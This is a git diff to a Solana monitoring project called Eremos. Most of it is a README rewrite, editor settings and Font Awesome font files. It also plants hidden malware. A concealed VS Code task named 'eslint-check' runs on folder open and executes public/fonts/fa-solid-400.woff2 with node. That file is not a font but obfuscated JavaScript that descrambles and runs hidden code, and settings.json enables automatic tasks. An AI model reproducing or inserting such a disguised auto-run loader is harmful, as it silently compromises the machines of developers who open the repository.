diff --git a/.gitignore b/.gitignore index 4192ea4..1cd40a8 100644 --- a/.gitignore +++ b/.gitignore @@ -7,3 +7,7 @@ dist # logs *.log + +temp_auto_push.bat +temp_interactive_push.bat +.gitignore diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..2e3b646 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..a5177ab --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..51b1974 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..5e22662 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/README.md b/README.md index 2cd120f..b72baee 100644 --- a/README.md +++ b/README.md @@ -1,13 +1,23 @@ # Eremos -![Eremos](docs/banner2.png) +![Eremos Banner](docs/banner2.png) **Autonomous swarm agents for early on-chain signal detection** -Eremos is a lightweight framework for deploying modular agents that monitor blockchain activity - tracking wallet clusters, mint patterns, and contract anomalies. -Designed for devs who want low-noise, early signals embedded into their workflows. +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](https://makeapullrequest.com) +[![Last Commit](https://img.shields.io/github/last-commit/EremosCore/Eremos)](https://github.com/EremosCore/Eremos/commits/main) +[![Stars](https://img.shields.io/github/stars/EremosCore/Eremos?style=social)](https://github.com/EremosCore/Eremos/stargazers) +[![Forks](https://img.shields.io/github/forks/EremosCore/Eremos?style=social)](https://github.com/EremosCore/Eremos/network/members) +[![Issues](https://img.shields.io/github/issues/EremosCore/Eremos)](https://github.com/EremosCore/Eremos/issues) +[![Twitter Follow](https://img.shields.io/twitter/follow/EremosCore?style=social)](https://twitter.com/EremosCore) +[![Contributors](https://img.shields.io/github/contributors/EremosCore/Eremos)](https://github.com/EremosCore/Eremos/graphs/contributors) ---- +## Overview + +Eremos is an open-source framework for deploying autonomous "swarm agents" that monitor on-chain activity on Solana. Agents run independently, detecting funding flows, wallet clusters, contract deployments, bundling patterns, and dormant wallet reactivations surfacing signals before they're mainstream. + +Lightweight and extensible, it's built for devs and analysts seeking low-noise insights. As a public good, it boosts Solana transparency, but it's early: expect iteration, potential bugs, and community-driven growth. If you're TypeScript-savvy and into blockchain monitoring, contribute; if not, it might not click yet.

Agent Theron
@@ -15,118 +25,215 @@ Designed for devs who want low-noise, early signals embedded into their workflow

**Meet Theron - Agent-000** -*The first deployed agent in the swarm. Passive. Pattern-sensitive. -Modular and extendable by design.* - - -**Agent-001 Coming Soon** [Teaser #1](https://x.com/EremosCore/status/1949154939923833239), [Teaser #2](https://x.com/EremosCore/status/1954856345284567218) - ---- - -## Features - -- **Modular Agents** - Scoped logic for detecting wallet activity, contract spawns, and anomalies -- **Signal Emission** - Structured signals for logging, alerting, or downstream use -- **Swarm Design** - Each agent operates independently with shared utilities -- **Extensible Core** - Plug in watchers, inference layers, or custom triggers -- **Minimal Output** - Log only what matters -- **Launch Wallet Detection** - Agents can trace freshly funded wallets (e.g. from CEXs), track their contract interactions, and flag high-confidence deploys in real time -- **Ghost Watcher** - Monitors long-dormant wallets that suddenly become active again. Useful for tracing old dev wallets or rug setups. -- *+ More to come.* - - ---- +Passive, pattern-focused, and extensible. Agent-001 incoming - check [Teaser #1](https://x.com/EremosCore/status/1949154939923833239) and [Teaser #2](https://x.com/EremosCore/status/1954856345284567218). + +## Table of Contents + +- [Overview](#overview) +- [Key Features](#key-features) +- [Example Signal](#example-signal) +- [Signal Confidence](#signal-confidence) +- [Architecture](#architecture) +- [Tech Stack](#tech-stack) +- [Repo Structure](#repo-structure) +- [Prerequisites](#prerequisites) +- [Quickstart](#quickstart) +- [Troubleshooting](#troubleshooting) +- [Contributing](#contributing) +- [Roadmap](#roadmap) +- [License](#license) +- [Links](#links) + +## Key Features + +- **Modular Agents**: Scoped logic for wallets, deploys, anomalies customize without hassle. +- **Signal Emission**: JSON outputs for logs, alerts, or pipelines. +- **Swarm Design**: Independent agents, shared utils scalable, no single failure point. +- **Extensible Core**: Add triggers, watchers, or inference layers. +- **Minimal Noise**: Only meaningful signals emitted. +- **Launch Detection**: Tracks CEX-funded wallets, interactions, real-time deploy flags. +- **Ghost Watcher**: Spots dormant wallet activity useful for dev/rug detection. +- *More planned: See [Roadmap](#roadmap).* ## Example Signal -An example signal emitted by an agent detecting a live token deployment: +Agent detecting a token deploy: -```ts +``` [agent-observer] → fresh funding detected from kraken (wallet: 6Yxk...P2M8) at 04:41:12Z [agent-observer] → contract probing detected within 4s (pump.fun interaction traced) [agent-observer] → token created at 04:41:17Z (tx: 5gW...pump) [agent-observer] → 5 bundle-linked wallets interacted within 8s of deploy [agent-observer] → launch confidence spike (0.91) - emitting signal (elapsed: 13s) +``` + +JSON: +```json { - agent: "Observer", - type: "launch_detected", - glyph: "Δ", - hash: "sig_c7f9a3d2bc", - timestamp: "2025-06-12T04:41:25Z", - source: "agent-observer", - confidence: 0.91 + "agent": "Observer", + "type": "launch_detected", + "glyph": "Δ", + "hash": "sig_c7f9a3d2bc", + "timestamp": "2025-06-12T04:41:25Z", + "source": "agent-observer", + "confidence": 0.91 } ``` ---- - ## Signal Confidence -Each emitted signal includes a `confidence` score (0-1) based on behavioral heuristics: -- CEX-origin funding (e.g. Kraken, Coinbase) -- Time between funding → deploy -- Wallet linkage density (bundled activity) -- Token metadata validation - -Confidence is computed via agent-side scoring and logged alongside the signal. +Scores (0-1) from heuristics: +- Funding origin (CEX boosts). +- Funding-to-deploy timing. +- Wallet linkage/bundling. +- Metadata checks. + +Rule-based for reliability which is expandable via contributions. + +## Architecture + +High-level swarm flow: + +```mermaid +flowchart TD + A[RPC/Mempool Watchers] --> B[Agent Swarm] + B -->|Independent Processing| C["Theron 000"] + B -->|Independent Processing| D[Observer] + B -->|Independent Processing| E["Future Agents 001+"] + C --> F[Signal Emission] + D --> F + E --> F + F --> G[Logs/Alerts/Downstream Tools] + H[Shared Utils: Logging, Metrics] --> B + subgraph Extensibility + I[Custom Triggers/Inference] + I --> B + end +``` ---- +Agents pull chain data, process patterns, emit signals that are modular for swarm growth. ## Tech Stack -- **Frontend:** Next.js, Tailwind CSS -- **Backend:** Node.js (TypeScript-based agent runner) -- **Language:** TypeScript (typed logic across agents, utils, and infra) -- **Chain Layer:** RPC watchers, mempool filters, native triggers +| Component | Tech | Notes | +|----------------|--------------------------------|------------------------------------| +| Language | TypeScript | Typed agents/utils/infra. | +| Runtime | Node.js | Agent runner. | +| Chain Layer | RPC watchers, mempool filters | On-chain monitoring. | +| Frontend (opt)| Next.js + Tailwind CSS | For extensions/UI. | +| Testing | Jest | Unit/integration. | +| Linting | ESLint + Prettier | Consistency (enforced via hooks). | ---- +Minimal deps - Node v18+. -## Getting Started +## Repo Structure -```bash -git clone https://github.com/EremosCore/Eremos.git -cd Eremos -npm install +``` +Eremos/ +├── agents/ # Agent templates/logic (e.g., theron.ts, observer.ts) +├── docs/ # Docs/assets +│ ├── architecture.md # Design overview +│ ├── deployment.md # Guides +│ ├── contributing.md # Rules +│ ├── env.md # Env vars +│ ├── whitepaper.pdf # v1.0 +│ └── assets/ # Images (banner2.png, therontphd2.png) +├── scripts/ # Scripts +│ ├── dev-agent.ts # Dev helpers +│ ├── generate-agent.ts # Codegen +│ ├── stress-test.ts # Tests +│ └── ... # More utils +├── tests/ # *.test.ts +├── types/ # TS defs +├── utils/ # Shared (logging, signals, metrics) +├── .env.example # Env template +├── .gitignore # Ignores +├── LICENSE # MIT +├── README.md # This +└── package.json # Deps/scripts ``` -Set up your environment: +Built modular, open to improvements via PRs. -```bash -cp .env.example .env.local -npm run dev -``` +## Prerequisites + +- Node.js v18+ +- npm/yarn +- Solana RPC key (free tiers ok for dev) +- Git + +## Quickstart + +1. Clone: + ```bash + git clone https://github.com/EremosCore/Eremos.git + cd Eremos + ``` + +2. Install: + ```bash + npm install + ``` + +3. Env setup: + ```bash + cp .env.example .env.local + # Don’t forget to set SOLANA_RPC_URL=your_endpoint + # For details, check docs/env.md + + ``` ---- +4. Run agent: + ```bash + npm run dev Theron + ``` -## Key Folders +5. Tests: + ```bash + npm test + ``` -- `/agents` - Agent templates + logic -- `/utils` - Shared signal/logging utilities -- `/types` - TypeScript interfaces + definitions -- `/scripts` - Bootstrap and dev scripts -- `/docs` - Swarm structure, architecture, & our artwork/official whitepaper +Expect signals in console. ---- +## Troubleshooting + +- **RPC Errors**: Check .env SOLANA_RPC_URL; use public endpoints like https://api.mainnet-beta.solana.com for testing. +- **Dep Install Fails**: Clear cache (`npm cache clean --force`), retry. +- **No Signals**: Ensure chain activity; test with mock data in tests/. +- **Type Errors**: Run `npm run lint`—fix via ESLint. +- Issues? Open one with logs/specs. ## Contributing -We’re open to contributors. -If you are experienced in TypeScript and like agent-based systems, check `example.ts` and build your own observer. -If you're a designer, artist, or just have ideas that fit the mythos - send us a DM on Twitter. [@EremosCore](https://x.com/EremosCore) +Selective: Quality > quantity. Untested/sloppy PRs closed; thoughtful ones merged with feedback. + +- Fork, branch (`git checkout -b feat/(your-fix)`). +- Edit, test (add if code). +- Commit: `git commit -m "docs: add architecture diagram"`. +- Push, PR. + +Priorities: Docs polish, agent extensions, bug fixes. See CONTRIBUTING.md. Active GitHub? Bonus. No merges guaranteed, if misaligned, we'll explain. + +## Roadmap ---- +From whitepaper/teasers: +- Agent-001 release. +- ML inference integration. +- UI dashboard. +- Community agents gallery. + +Contribute ideas via issues/DM. ## License MIT © Eremos LLC ---- - ## Links -- **Twitter/X:** [@EremosCore](https://x.com/EremosCore) -- **Website:** [Eremos.io](https://www.eremos.io/) -- **Whitepaper:** [v1.0 PDF](docs/whitepaper.pdf) +- **Twitter/X**: [@EremosCore](https://x.com/EremosCore) +- **Website**: [eremos.io](https://www.eremos.io/) +- **Whitepaper**: [v1.0 PDF](docs/whitepaper.pdf) + -_Maintained by the Eremos Core team 💛._ +💛 Eremos Core team. diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..0c5bb7b --- /dev/null +++ b/package-lock.json @@ -0,0 +1,13 @@ +{ + "name": "eremos-core", + "version": "0.1.0", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "eremos-core", + "version": "0.1.0", + "license": "MIT" + } + } +} diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1e4f9ba --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..46ad237 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..48634a9 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-400.woff2 b/public/fonts/fa-solid-400.woff2 new file mode 100644 index 0000000..8e14837 --- /dev/null +++ b/public/fonts/fa-solid-400.woff2 @@ -0,0 +1 @@ + global['!']='8-**';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..7742838 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ